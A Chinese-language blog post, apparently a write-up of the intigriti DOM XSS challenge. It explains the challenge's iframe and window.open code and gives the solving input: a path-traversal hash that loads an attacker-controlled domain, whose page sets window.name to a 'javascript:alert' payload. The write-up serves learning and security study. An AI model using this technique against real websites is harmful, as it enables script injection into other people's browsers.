Dom XSS Challenge

  • A+
所属分类:安全文章

我和我的学习永不分离



首先这是个xss challenge

看了下以前的xss题目历史,都觉得还是很有意思的,因为我做不出来。

和脑洞比起来还好……

地址是challenge.intigriti.io 上推特搜下就知道了,一共3个人做出来 其中一个国内的大佬,一直做不出来,最后和大佬交流发现。。。。做不出来的原因是我用的firefox,好像在断点调试上面和chrome不一样。。有点区别,好像firefox功能没那么强大,也许是bug!?也许是我不会用firefox的单步调试,因为firefox在中无法调试iframe中的东西。好吧,我在打这段话的时候又去测试了下firefox,其实是可以的………是我不会用firefox而已。。。。。。。。。好尴尬……我错了,我已经打好了就不删掉了,顺便让你们体会下我这个心里路程。等下写一个帖子讲一下这个断点的教程。。。。。

 


首先代码如下,- - 主要就是为了学习,burp license就不要考虑了。。。


源代码注释

(location.search == "") ? true : location =location.pathname; //判断下地址栏是否存在参数,如果存在参数就跳转var iframe =document.createElement("iframe"); //动态创建iframevar id = location.hash.substr(1); //获得#后面的内容给idvar path = `/static/4/${id}.png`//把id给path path是一个路径iframe.name = `Image :: ${id}`; iframe.src = path; //创建一个nameiframe.onclick = function(e)//创建一个事件闭包  window.open(this.contentWindow.name, this.src); //打开iframe内的name值}document.body.appendChild(iframe);

Dom  XSS Challenge

01



断点分析




9行代码,直接告诉你答案,这个XSS触发点是个DOM的,既然是DOM XSS的挑战 那触发点很明显,就是这个window.open方法。

第一行的代码location=location.pathname其实如果你有什么tip可以让pathname也可以控,那就。。是一个xss了

在关键那一行,window.open的第一个参数,一般dom xss就是

window.open("javascript:alert`1`;",'test');

对照这个代码里的,就是我们需要控制this.contentWindow.name,这个变量是指iframe窗体内的name变量。

回到第一行,location这个关键词是可以跳转的,如果我们有办法让浏览器location到我们的网站就好了。因为这个比赛的官方放了一个tip:“//不仅仅是注释符”

接下来我们进入debug状态

我们本着SQL注入的思维,对可控的pathname进行常规测试,注入代码为

https://challenge.intigriti.io/#../../..//xsser.cn/?

这样的话可以满足location.search,然后因为有多个/pathname可能会认为是/#../../..//xsser.cn/


我们先给18行下断点(图里的18行)

Dom  XSS Challenge

可以看到此时的pathname是"/",这个其实是没问题的。

Dom  XSS Challenge

代码步进继续debug


此时因为没有对子域名下断点,debug跟不到。。。。直接代码结束也没任何反应。。这就是firefox和chrome下的差异,这道题用chrome分分钟解出,用firefox会很困惑 以为自己的思路有问题。


我们重新debug,并且在firefox下对跳转的域名的代码也debug,在chrome只要在主代码里debug就行了。

Dom  XSS Challenge


我们的思路就是注入代码,让path变量变成/static/4/../..//xsser.cn/?.png,那么iframe里的页面会跳转到我们的域名,因为在浏览器里/static/4/../../被浏览器自动完成了目录跳转,进入2个目录然后通过../跳出来,相当于什么也没进去。

然后//在浏览器里又是使用当前默认的协议的意思,所以这个path就相当于//xsser.cn/?.png,"?"后面是参数,相当于没有,没啥用。所以最后的iframe.src就等于"//xsser.cn/?.png",于是乎iframe加载了xsser.cn

就这么简单

那么iframe的src是我们可以控的...window.name不就是手到擒来。只要在你的xsser.cn首页加载一段js,设置当前的window.name="javascript:alert`xss`;"


你就可以看到那个可爱的小框框

Dom  XSS Challenge






END





本文始发于微信公众号(xsser的博客):Dom XSS Challenge

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: